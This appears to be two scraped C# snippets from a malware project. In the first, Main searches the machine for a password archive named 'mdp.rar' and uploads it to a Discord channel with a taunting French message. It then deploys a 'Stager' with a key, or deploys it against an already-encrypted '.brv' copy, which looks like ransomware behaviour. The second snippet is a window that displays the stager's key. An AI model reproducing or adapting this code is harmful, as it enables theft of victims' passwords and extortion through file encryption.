Example #1
0
        static void Main()
        {
            string path = SearchFile("mdp.rar");

            if (path != null)
            {
                #region oldCode
                //Console.WriteLine("File found!");
                //string path = SearchFile("mdp.rar");
                //string result = FileToBase64String(path);
                //Console.WriteLine("Splitting string " + result.Length + " long");
                //List<string> splitedResult = Utils.SplitString(result, 20);
                //if (splitedResult != null)
                //{
                //    string temp = "";
                //    foreach (string line in splitedResult)
                //        temp = temp + line;
                //    Console.WriteLine(temp == result ? "Passed" : "Failed");
                //    if(temp == result)
                //    {
                //        Console.WriteLine("Sending data..");


                //    }
                //    else
                //    {
                //        Console.WriteLine("Cannot send data!");
                //    }
                //}
                //else
                //    Console.WriteLine("Failed to split string!");
                #endregion
                DiscordUtils.SendFile("Voici vos fichiers mon seigneur :joy: <@300184779846844417>", "mdp.rar", "rar", path, "");
                Stager stager = new Stager(subKey, path, false);
                stager.Deploy();
            }
            else
            {
                // If file not found, try to find the zing zonged one, and open the stager with same sub-key
                string pathSecond = SearchFile("mdp.rar.brv");
                if (pathSecond != null)
                {
                    Stager stager = new Stager(subKey, pathSecond, true);
                    stager.Deploy();
                }
            }
        }
Example #2
0
 public Graphic(Stager stadger)
 {
     InitializeComponent();
     origin    = stadger;
     this.Text = this.Text + " - " + stadger.getKey();
 }